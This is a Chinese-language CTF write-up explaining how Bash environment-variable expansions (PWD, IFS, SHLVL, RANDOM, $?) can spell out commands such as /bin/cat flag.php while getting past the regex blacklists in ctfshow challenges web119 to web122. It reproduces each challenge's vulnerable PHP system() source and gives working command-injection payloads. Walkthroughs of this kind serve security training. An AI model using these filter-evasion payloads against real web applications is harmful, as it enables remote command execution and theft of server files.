从0到1,学习环境变量的利用方法
环境变量全解
环境变量全解
正文
知识点
例题1 ctfshow web119
例题2 ctfshow web120
例题3 ctfshow web121
/bin/rev
/bin/base64
/bin/cat
例题4 ctfshow web122
写这篇文章的原因是很久之前就卡在了ctfshow web入门第120关,也就是利用环境变量来构造,在我的rce全解那篇文章中虽然有所提到,但当时研究的不够深入,写的也不是很明白,所以这里另写一篇专门的环境变量内容
正文
知识点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 在 Linux Shell 中,环境变量是一种在操作系统环境中存储信息的机制。 这些变量包含了有关系统环境和当前会话的信息,可以影响程序的行为和操作系统的运行。 以下是关于 Linux Shell 中环墨变量的详细讲解: 1. 环境变量的种类: 全局环境变量:对所有用户和进程都可见。 局部环境变量:只在当前 Shell 会话中可见。 2. 常见环境变量: PATH:包含可执行程序的路径,系统会在这些路径下查找可执行文件。 HOME:当前用户的主目录路径。 USER 或 USERNAME:当前登录的用户名。SHELL :当前使用的 Shell 解释器。PWD :当前工作目录路径。 LANG:指定当前语言环境。 EDITOR:默认文本编辑器。 IFS: urldecode("%20%09%0A" ) 等等...
以上来源于gpt
当构造出${PATH:~A}时,意味着取PATH变量的最后一位字母,而PATH一般来讲是/bin,所以这里就是n
而PWD一般是/var/www/html,所以我们可以取PWD的最后一位l构造nl来读取文件,即${PWD:~A}
当:~后面是数字时,例如0,意味着取最后一位,而如果没有~,则是第一位,序列是从0开始算的,字母也一样,A代表第一个,C代表第三个
这里还有一个要补充,即 ${#PWD} 的意思为PWD的长度,例如PWD为/var/www/html,则长度为14
对于上面一大堆常见环境变量,我们有大部分是不能知道的,只有PWD PATH SHLVL这种是近乎可以稳定知道的(SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时$SHLVL=1,然后在此shell中再打开一个shell时$SHLVL=2。)
0:${#}
1:${#SHLVL}=${##}=${#?}=1
2:${SHLVL}=2 (SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时$SHLVL=1,然后在此shell中再打开一个shell时$SHLVL=2。)
3:${#IFS}=3。(linux下是3,mac里是4)
SHLVL一般是: 2
例题1 ctfshow web119
因为: $PWD = /var/www/html
对于:/bin/cat flag.php
则有:/???/?at ?l??.???
至此我们可以:
1 ${PWD:${#} :${##} } = ${PWD:0:1} = /
其中中间可以省略变成
1 ${PWD:~${SHLVL} :${#SHLVL} } = ${PWD:-2:1} = t
1 /bin/cat flag.php ===> ${ PWD :${ #}:${ ##}}???${ PWD :${ #}:${ ##}}?${ PWD :${ SHLVL }:${ #SHLVL }}${ PWD :~${ SHLVL }:${ #SHLVL }}$I FS?${ PWD :~A }??.???
例题2 ctfshow web120
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; }else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } }?>
对于上一道题的payload精简一下可得
构造/bin/cat ????.???
PWD=/var/www/html
所以PWD的第一位就是/
所以${PWD::${##}}???${PWD::${##}}??t ????.???
这里为了更短一些可以将${#SHLVL}换成${##}
所以最终payload:
1 ${PWD::${##} } ???${PWD::${##} } ??${PWD:~${SHLVL} :${##} } ????.???
例题3 ctfshow web121
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; }else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } }?>
首先是SHLVL和~被ban了,无法使用,这里可以使用rev,base64,或者一种很神奇的构造t的方法
/bin/rev
PWD=/var/www/html
取序号第三位可得r
1 ${PWD:${#IFS} :${##} } ===> ${PWD:3:1} ===> r
1 2 3 ${IFS} 变量是用于定义字段分隔符的特殊变量,通常包含空格、制表符和换行符。 因此,${#IFS} 的结果会是 ${IFS} 变量中字符的长度。通常情况下,${IFS} 的长度是 3,因为它包含了默认的空格、制表符和换行符这三个字符。
这个方法的问题在于读取出来的flag的逆序,需要自己再逆回来,有点麻烦
payload:
1 ${PWD::${##} } ???${PWD::${##} } ??${PWD:${#IFS} :${##} } ????.???
/bin/base64
构造4,使用${RANDOM}会随机生成一个数,指望他直接生成一个4概率实在是太低了,不如选择长度为4,即 ${#RANDOWM}
所以payload:
1 /bin/base64 flag.php ===> /???/?????4 ????.??? ===> ${PWD::${##} } ???${PWD::${##} } ?????${#RANDOM} ????.???
然后多试几次就能出来一个4位数了
/bin/cat
挺有意思的构造法,t在PWD里面是序号第10位,所以可构造10(不是十,是1和0),即
payload:
1 /bin/cat ????.??? ===> ${PWD::${##} } ???${PWD::${##} } ??${PWD:${##} ${#} :${##} } ????.???
例题4 ctfshow web122
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } }?>
相比上一题多ban掉了PWD和#,这使得我们原来使用#构造1的方式不可行了,但这题放出了HOME和<,PWD的作用只是提供/,而HOME也可以做到这一点,直接替换就行那么说一下对于#的ban,也就是对于1的构造的方法在Linux中,$? 表示上一个命令的退出状态码,一般用0表示执行成功,用1表示执行失败,那么我们只需要在前面构造出一个必定执行失败的命令就可以使得$?=1,而<是重定向,我们只需要重定向到一个不存在的文件即可确保前一个命令退出值为1了所以payload:
1 <A;${HOME::$?} ???${HOME::$?} ????${RANDOM::$?} ? ????.???
只是将PWD换成了HOME,${##}换成了$?,最后RANDOM这里也是取第一位,只要随机到数字是4开头就可以了